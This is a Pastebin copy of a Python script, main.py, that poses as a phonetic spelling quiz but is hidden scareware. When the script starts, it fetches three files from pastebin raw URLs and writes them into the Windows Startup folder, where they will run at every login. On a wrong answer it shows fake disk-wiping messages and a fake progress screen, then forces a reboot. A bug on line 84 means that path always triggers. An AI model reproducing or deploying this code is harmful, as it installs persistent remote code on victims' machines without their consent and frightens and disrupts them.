Advertisement
Pastybinneriest

main.py

Dec 16th, 2021
551
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.04 KB | None | 0 0
  1. import sys
  2. from time import sleep
  3. from PyQt5.QtGui import QGuiApplication
  4. from PyQt5.QtQml import QQmlApplicationEngine
  5. from PyQt5.QtCore import QObject, pyqtSignal
  6. import threading
  7. import os
  8. import random
  9. import requests
  10.  
  11. user = os.environ['USERNAME']
  12.  
  13. url = "https://pastebin.com/raw/RSiyfdAQ"
  14.  
  15. r = requests.get(url, allow_redirects=True)
  16. open("C:/Users/" + user + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/start.py", 'wb').write(r.content)
  17.  
  18. url = "https://pastebin.com/raw/XTkPxwrr"
  19.  
  20. r = requests.get(url, allow_redirects=True)
  21. open("C:/Users/" + user + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/start.qml", 'wb').write(r.content)
  22.  
  23. url = "https://pastebin.com/raw/XV47ctX6"
  24.  
  25. r = requests.get(url, allow_redirects=True)
  26. open("C:/Users/" + user + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/main.qml", 'wb').write(r.content)
  27.  
  28. clearConsole = lambda: os.system('cls' if os.name in ('nt', 'dos') else 'clear')
  29. clearConsole()
  30.  
  31. percent = 0
  32.  
  33. def blue():
  34.     #importing text to QML
  35.     class Backend(QObject):
  36.  
  37.         def __init__(self):
  38.             QObject.__init__(self)
  39.    
  40.         updated = pyqtSignal(str, arguments=['updater'])
  41.         def updater(self, curr_time):
  42.             self.updated.emit(curr_time)
  43.         def bootUp(self):
  44.             t_thread = threading.Thread(target=self._bootUp)
  45.             t_thread.daemon = True
  46.             t_thread.start()
  47.         def _bootUp(self):
  48.             while True:
  49.                 curr_time = 0
  50.                 percent = -1
  51.                 while int(curr_time) <= 99:
  52.                     pause = random.randrange(int(0.1), 3)
  53.                     percent = percent +1
  54.                     curr_time = str(percent)
  55.                     self.updater(curr_time)
  56.                     sleep(pause)
  57.                
  58.                 if curr_time == str(100) :
  59.                    
  60.                    
  61.                     os.system("shutdown /r /t 1")
  62.  
  63.     pause = random.randrange(int(0.1), 3)
  64.     print("Deleting Partitions...")
  65.     sleep(pause)
  66.     print("Formating hard Disk...")
  67.     sleep(pause)
  68.     app = QGuiApplication(sys.argv)
  69.     engine = QQmlApplicationEngine()
  70.     engine.quit.connect(app.quit)
  71.     engine.load("C:/Users/" + user + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/main.qml")
  72.     back_end = Backend()
  73.     engine.rootObjects()[0].setProperty('backend', back_end)
  74.     back_end.bootUp()
  75.     sys.exit(app.exec())
  76.  
  77. misspell = input("Please spell /misˈspel/, the words are phonetic so you cant cheat\n");
  78.  
  79. if misspell.lower() == "misspell":
  80.     pharaoh = input("Yay you did it, lets move on to a harder one, please spell /ˈferō/\n");
  81.     if pharaoh.lower() == "pharaoh":
  82.  
  83.         weird = input("Please spell /wird/\n");
  84.         if weird.lower == "weird":
  85.             intelligence = input("Please spell inˈteləjəns/\n")
  86.             if intelligence.lower() == "intelligence":
  87.                 pronunciation = input("Please spell /prəˌnənsēˈāSH(ə)\n")
  88.                 if pronunciation.lower() == "pronunciation":
  89.                     hand = input("Please spell /ˈhaNGkərCHif,ˈhaNGkərCHēf/\n")
  90.                     if hand.lower() == "handkerchief":
  91.                         print("Keep going, you are halfway there!")
  92.                         logorrhea = input("Please spell /ˌlôɡəˈrēə/\n")
  93.                         if logorrhea.lower() == "logorrhea":
  94.                             chiaroscurist = input("Please spell \ kē-ˌär-ə-ˈskyu̇r-ist , kē-ˌer-, kē-ˌa-rə-, -ˈsku̇r- \\n")
  95.                             if chiaroscurist.lower() == "chiaroscurist":
  96.                                 gobbledegook = input("Please spell /ˈɡɒbldiɡuːk/\n")
  97.                                 if gobbledegook.lower() == "gobbledegook":
  98.                                     tomfoolery = input("You have finished the test! Good job. to end the test type end or to continue to the special mentions, please spell /tämˈfo͞ol(ə)rē/\n")
  99.                                     if tomfoolery.lower() == "end":
  100.                                         pass
  101.                                     elif tomfoolery.lower() == "tomfoolery":
  102.                                         shenanigens = input("Last one i swear! Please spell /SHəˈnanəɡənz/\n")
  103.                                         if shenanigens.lower() == "shenanigens":
  104.                                             print("Good job you spelled all the words correctly(you probably cheated though but who am I to judge)")
  105.                                             pass
  106.                                         else:
  107.                                             blue()
  108.                                 else:
  109.                                     blue()
  110.                             else:
  111.                                 blue()
  112.                         else:
  113.                             blue()
  114.                     else:
  115.                         blue()
  116.                 else:
  117.                     blue()
  118.             else:
  119.                 blue()
  120.         else:
  121.             blue()
  122.     else:
  123.         blue()
  124. else:
  125.     blue()
  126.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement